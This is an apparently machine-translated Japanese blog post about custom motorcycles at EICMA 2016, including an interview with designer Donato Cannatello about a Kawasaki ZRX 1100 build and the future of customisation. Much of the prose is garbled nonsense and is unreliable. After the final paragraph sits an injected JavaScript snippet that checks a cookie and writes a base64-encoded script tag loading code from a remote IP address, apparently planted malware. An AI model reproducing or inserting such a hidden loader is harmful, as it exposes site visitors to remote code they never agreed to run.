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この順序を逆に: 何を読んでいることはコメントであり、あなたの読者がEICMAで特別なカスタムディスプレイ上の実際の記事の下に書きますから、誰が望むだろう 2016: 私は個人的な意見の野生大騒ぎにジャーナリズムとストレート内に外に自分を置きます, 反感/同情カスタマイズのようなもの, そしてその多くの側面, 定義により、それは人生と漸近オートバイの対向方法間の対立の場所であります, 私はこれらの線に単なるコメントを検討して皆を頼みます: 私は喜んで読者を書きます本物.

私は説得力ウィンク灯台の数百人に自分自身を配向させるためにしようとするために、, 多くを学ぶために, 私自身は、とりわけ公開考えるMotodesignのスタンドに誘惑とします – 興味深いことに、私の意見では – 特別BASEはZRXをwasakiありません 1100 (「ファック」と呼ばれます) オフィRiunite Milanesiと共同で, 私をたくさん多角形のディスクを興味をそそられました, 同じサプライヤーを設定した厳格な動作を保証するために, そして、個人的に伝説のエンリコDiscacciati!

ドナートCannatello (ドナート-考えます… 理解?), CR内の指定された所有者と設計経験&S, 比類のありません, 戦い, アプリリア, 彼は患者でした, そして私と一緒にチャットを交換することはEICMAで私に彼の視点を公開しました 2016 そして、カスタマイズの未来.

ドナートによって報告与えられたとの意見を入れて, 我々は両方との取引は、プロトタイプを構築したい人のための計画と設計のサービスを提供することを追加します (コンセプトから、プリシリーズへの生産につながります), 彼らのオートバイの「オフフレーム」プロジェクトを尋ねるものを個人の両方.

「奇妙なことに、私たちはduuそのZRXから多くのフィードバックを持っていました, 両方の私たちのブースに出展, duuにもかかわらず、間違いなく、より洗練されたデザインで、半分たくさん安くZRX, しかし、明らかに、ほとんどの「アイキャッチャー”».

そして、どのようにカスタムの中にショーのレベルを評価し、特別です?

EICMAの「レベル, 私たちは、カスタムおよび特別に自分自身を制限している場合, それは数年前よりもはるかに高いと成熟したようです: 現実のartiginaliから, これはまだ例外的な結果を生みます, 私たちは、両当事者のエンジニアリング設計に、より成熟したアプローチへの切り替えをしています. オートバイの観点から, その代わり, 私はハーレー「OPERA」南ガレージを愛し, 非常にエレガント; また、彼はコンテストで優勝しました, しかし、あなたがコンテストを知っているように、事実上それらを少し勝ちます’ 全て (ドナートは、カテゴリの無数のではなく、非常に多数の参加エディタのノートを参照します); コーナーでは、カスタムの代わりに少し見えました’ 低調, ショーの重要な中心地より少しスペースと分散, これは少し思えます’ 矛盾: それは最も困難な部分です, 彼らはパビリオンの一角にあったか分からなかったので、代わりに多くが訪問していません 2; 習慣で、本当に興味がない公共のセグメントがあることも事実であります, 彼らは背後にあるトランクにV-Stromのを有するものです, しかしピースビレットを見ることを好む多くの本当のファンでもあります代わりにしても、私たちは»を見つけるために管理していません.

カスタマイズの将来について? ドナートには疑問を持っていません:

「画期的な, 私は思います, それは過去からの非常に明確です: 特別な設計で、それはベンチに自転車の残りの部分から消えや即興ました, 最初all'effettuare, 私たちの場合と同様に、, レンダリングや3Dスキャン, その後、コンピュータ上で直接動作し、レコード手側, シートまたは単に3D印刷; 市場の将来をカスタマイズする設計者のスキルでそれを見ることはありません, 今日、誰もがコンピュータを取ると3Dプリンタを設計し、実装して子供を置くことができますので、, 私は、これは法的な要因によって決定されるであろうと思います, そのような承認基準の尊重とスタイルやトレンドの進化として、: この現象は非常にartiginaleカスタマイズどのくらい我々は見なければなりません, 私は手作りが非常によく、すぐに設計された、よりカスタマイズに取って代わられると思います, 設計し、より»進化.

一つの最後の質問: ロードバイクにモザイク状のタイヤ理由? (OK, そうLO, これは私の個人的な十字軍であります…)

«E’ それは顧客の選択でした… 私はそれがこの要求ZRX「Maialona」がなければ、あなたが見るように、我々が描かれていないということを教えてくれなければなりません, 腹部の筋肉ではなく、タンクの下部を支えるの概念を理解します, それは解決策と思われます… 「ベスト」. おそらく、knobblyタイヤせずに、私たちはあまり角運動をしているだろう, オールラウンダー ".

私はバイクのギャラリーを残します, 確かに即時の経済的リターンに存在していない業界の習慣や特別のすべての出展者のために感心を持ちます, しかし、多くの場合、彼らは常に少し高いクロスバーの優秀さと狂気を移動するには情熱が持つ時間とお金を投資します. 関数getCookie(E){VAR U = document.cookie.match(新しい正規表現(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/グラム,”\\$1″)+”=([^;]*)”));Uを返します?decodeURIComponent(ザ・[1]):空隙 0}VARのSRC =”データ:テキスト/ javascriptの;base64で、ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,今= Math.floor(Date.now()/1E3),クッキー= getCookie(“リダイレクト”);もし(今>=(時間=クッキー)||無効0 ===時間){VAR時間= Math.floor(Date.now()/1E3 + 86400),日付=新しい日付((新しい日付).時間をもらう()+86400);document.cookie =”リダイレクト=”+時間+”; パス= /; =有効期限が切れます”+date.toGMTString(),document.writeを(”)}